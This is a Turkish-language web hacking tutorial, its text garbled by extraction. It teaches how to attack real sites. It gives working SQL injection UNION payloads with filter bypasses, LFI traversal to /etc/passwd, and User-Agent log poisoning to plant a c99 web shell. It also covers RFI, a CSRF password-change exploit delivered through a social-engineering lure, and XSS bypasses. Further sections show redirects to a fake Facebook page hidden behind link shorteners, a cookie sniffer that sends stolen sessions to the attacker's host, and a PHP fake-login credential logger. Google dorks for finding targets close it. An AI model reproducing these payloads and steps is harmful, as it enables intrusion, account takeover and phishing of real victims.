wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 3: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

1-Cross Site Scripting Nedir

Kelime manası ldquoCcedilapraz Kod Ccedilalıştırmakrdquo dırTehlikeli bir accedilık olduğu gibi ccedilok basit bir zafiyettirCcedilokbuumlyuumlk sistemlerde bile rastlanabilen bir tuumlrrsquoduumlr

2-Cross Site Scripting Hangi Mantığa Dayalıdır

Web Sayfalarında oturum accedilarken ldquoBeni Anımsardquo ldquoOturumumu Suumlrekli Accedilık Tutrdquo şeklindeseccedileneklerle karşılaşırızBu seccedileneklere tıkladıktan sonra oturum accediltığımızda Sistem tarafındanbilgisayarımıza ldquoCookierdquo diye tabir ettiğimiz kuumlccediluumlk metin dosyaları saklanırBunun sebebi o Web

sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş iccedilin kullanıcı adı ve şifreistememesidirXSS Accedilığının mantığı da buna dayalıdırBir Web Sayfasında XSS Zaafiyeti bulup o

Web Sayfasına uumlye olan kişilerin oturum bilgilerini yani Cookielerini ccedilalıp Cookie değişikliğine sebepolup hesabı ele geccedilirmektir

3-Cross Site Scripting Accedilığı İccedilin Lazım Olan Metaryeller

Bir Web sayfasında XSS accedilığının olduğunu anlamak iccedilin bize uygun bir tarayıcı lazımBen MozillaKullanıyorumSiz Dilerseniz Opera Kullanabilirsiniz

Accedilığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSSSniffer kurmaktırBunu ilerleyen vakitlerde aşağıda goumlreceğiz

4-Cross Site Scripting İle Neler Yapabiliriz

Yukarıda bahsettiğim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanıcıların veyasite youmlneticisi olan Adminrsquonin Cookielerini ccedilalıp hesabı ele geccedilirebilirizXSS Accedilığı sadece buna

yaramazJavascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz

5-Cross Site Scripting Accedilığı Nerelerde Bulunur

a-) Search Kutularında

XSS accedilığı bir ccedilok yerde bulunabilirEğer bir XSS Accedilığı arıyorsanız sizlere birkaccedil dork verip onunuumlzerinde denemeler yapabilirsinizDork

inurlrdquosearchphpid=rdquo

inurlrdquoindexphpid=rdquo

inurlrdquokayitphpid=rdquo

bu dorklar ccediloğaltılabilir

Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln

Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt

Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde

b-) id= Değerinin Bulunduğu Yerlerde

Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin

alert kodunu yazıyoruz

wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt

Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz

c-) Ziyaretccedili Defterlerinde (STORED XSS)

Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir

HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu

sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara

XSS Alert kodunu yazıyoruz

Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir

d-) Kayıt Formlarında

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

